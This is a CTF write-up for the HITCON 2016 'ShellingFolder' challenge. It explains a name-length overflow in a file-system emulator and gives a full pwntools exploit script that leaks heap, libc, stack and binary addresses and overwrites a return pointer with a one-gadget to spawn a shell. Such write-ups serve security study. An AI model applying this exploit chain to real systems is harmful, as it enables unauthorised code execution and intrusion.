HITCON QUALS CTF 2016: ShellingFolder

,

The binary is an application which emulates a file system. The structure is like below.

struct entry_t {
    entry_t *children[10]; // 0x0
    entry_t *parent; // 0x50
    char name[0x20]; // 0x58
    int size; // 0x78
    bool is_directory; // 0x80
}; // 0x88

There vulnerability is in the choice 6.Caculate the size of folder. This strlen the entry’s name and memcpy it to buf. This overwrites size_ptr and it allows me to write anywhere.

(fcn) fcn.calculate_the_size_of_folder
    ; var entry_t *pwd @ rbp-0x38
    ; var char buf[0x18] @ rbp-0x30
    ; var int *size_ptr @ rbp-0x18
    ; var int i @ rbp-0x10
    ; var uint64_t canary @ rbp-0x8

To read somewhere, at first I leaks the value of size_ptr. This tells me the address of heap. Then I do some malloc and free to put an address of malloc-arena onto the heap. Then rewrite a children[i] to p - 0x58 (p is the address and 0x58 is offset of name in entry_t) and read it. Do the same thing about environ in libc, and then rewrite return pointer, I could get a shell.

#!/usr/bin/env python2
import itertools
import random
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='52.69.237.212')
parser.add_argument('port', nargs='?', default=4869, type=int)
args = parser.parse_args()
context.log_level = 'debug'

entry_children = 0
entry_parent = 0x50
entry_name = 0x58
entry_size = 0x78
entry_is_directory = 0x80

p = remote(args.host, args.port)

def your_choice(n):
    p.recvuntil('Your choice:')
    p.sendline(str(n))

def list_the_current_folder():
    your_choice(1)
    assert p.recvline().strip() == '----------------------'
    acc = []
    while True:
        s = p.recvline(keepends=False)
        if s == '----------------------':
            break
        acc += [ s ]
    return acc
def change_the_current_folder(s):
    your_choice(2)
    p.recvuntil('Choose a Folder :')
    p.sendline(s)
def make_a_folder(s):
    your_choice(3)
    p.recvuntil('Name of Folder:')
    p.sendline(s)
def create_a_file_in_current_folder(s, n):
    your_choice(4)
    p.recvuntil('Name of File:')
    p.send((s + '\n')[: 0x1f])
    p.recvuntil('Size of File:')
    p.sendline(str(n))
def remove_a_folder_or_a_file(s):
    your_choice(5)
    p.recvuntil('Choose a Folder or file :')
    p.sendline(s)
def caculate_the_size_of_folder(result=True):
    your_choice(6)
    if not result:
        return
    acc = []
    while True:
        s = p.recvline()
        if s.startswith('The size of the folder is '):
            size = (s.split()[-1])
            break
        else:
            name, size = s.split(' : size ')
            acc += [ ( name, int(size) ) ]
    return ( acc, int(size) )
def exit():
    your_choice(7)

ls = list_the_current_folder
cd = change_the_current_folder
mkdir = make_a_folder
touch = create_a_file_in_current_folder
rm = remove_a_folder_or_a_file
vuln = caculate_the_size_of_folder

def rm_star():
    for f in ls():
        rm(f)

# leak heap base
mkdir('heap') # 1
cd('heap')
touch('A' * 0x18, 0) # 2
s = vuln()
heap_base = u64(s[0][0][0][0x18 :].ljust(8, '\0')) // 0x1000 * 0x1000
log.info('heap base: %#x', heap_base)
entry = lambda i: heap_base + 0x90 * i + 0x10
cd('..')

# leak libc base
mkdir('libc') # 3
cd('libc')
touch('foo', 0) # 4
touch('A' * 0x18 + p64(entry(3) + 0), u16(p64(entry(4) - entry_name)[0 : 2])) # 5
touch('B' * 0x18 + p64(entry(3) + 2), u16(p64(entry(4) - entry_name)[2 : 4])) # 6
touch('C' * 0x18 + p64(entry(3) + 4), u16(p64(entry(4) - entry_name)[4 : 6])) # 7
touch('D' * 0x18 + p64(entry(3) + 6), u16(p64(entry(4) - entry_name)[6 : 8])) # 8
rm('foo') # delete 4
vuln()
s = ls()
malloc_arena_entry = u64(s[0].ljust(8, '\0'))
libc_base = malloc_arena_entry - 0x3c3b78
log.info('libc base: %#x', libc_base)
cd('..')

# leak stack address
mkdir('stack') # 4
cd('stack')
environ = libc_base + 0x3c5f98
touch('A' * 0x18 + p64(entry(4) + 0x20 + 0), u16(p64(environ - entry_name)[0 : 2])) # 9
touch('B' * 0x18 + p64(entry(4) + 0x20 + 2), u16(p64(environ - entry_name)[2 : 4])) # 10
touch('C' * 0x18 + p64(entry(4) + 0x20 + 4), u16(p64(environ - entry_name)[4 : 6])) # 11
touch('D' * 0x18 + p64(entry(4) + 0x20 + 6), u16(p64(environ - entry_name)[6 : 8])) # 12
vuln()
s = ls()
print(s)
stack = u64(s[-1].ljust(8, '\0'))
log.info('stack: %#x', stack)
ret_ptr = stack - 0x110
log.info('return pointer: %#x', ret_ptr)
cd('..')

# leak text address
mkdir('text') # 13
cd('text')
touch('A' * 0x18 + p64(entry(13) + 0x20 + 0), u16(p64(ret_ptr - entry_name)[0 : 2])) # 14
touch('B' * 0x18 + p64(entry(13) + 0x20 + 2), u16(p64(ret_ptr - entry_name)[2 : 4])) # 15
touch('C' * 0x18 + p64(entry(13) + 0x20 + 4), u16(p64(ret_ptr - entry_name)[4 : 6])) # 16
touch('D' * 0x18 + p64(entry(13) + 0x20 + 6), u16(p64(ret_ptr - entry_name)[6 : 8])) # 17
vuln()
s = ls()
text_base = u64(s[-1][len('\x1b[32m') : - len('\x1b[0m')].ljust(8, '\0')) - 0x1602
log.info('text base: %#x', text_base)
cd('..')

# attack
one_shot_rce = libc_base + 0xef9f4
original_value = text_base + 0x1669
stack_garbage = text_base + 0xaa0
mkdir('attack') # 18
cd('attack')
touch('A' * 0x18 + p64(ret_ptr + 0), u16(p64(one_shot_rce - original_value)[0 : 2])) # 19
touch('B' * 0x18 + p64(ret_ptr + 2), u16(p64(one_shot_rce - original_value)[2 : 4])) # 20
touch('C' * 0x18 + p64(ret_ptr + 4), u16(p64(one_shot_rce - original_value)[4 : 6])) # 21
touch('D' * 0x18 + p64(ret_ptr + 6), u16(p64(one_shot_rce - original_value)[6 : 8])) # 22
touch('E' * 0x18 + p64(ret_ptr + 0x58 + 0), u16(p64(2**64 - stack_garbage)[0 : 2])) # 23
touch('F' * 0x18 + p64(ret_ptr + 0x58 + 2), u16(p64(2**64 - stack_garbage)[2 : 4])) # 24
touch('G' * 0x18 + p64(ret_ptr + 0x58 + 4), u16(p64(2**64 - stack_garbage)[4 : 6])) # 25
touch('H' * 0x18 + p64(ret_ptr + 0x58 + 6), u16(p64(2**64 - stack_garbage)[6 : 8])) # 26
vuln()

time.sleep(1)
p.sendline('id')
p.interactive()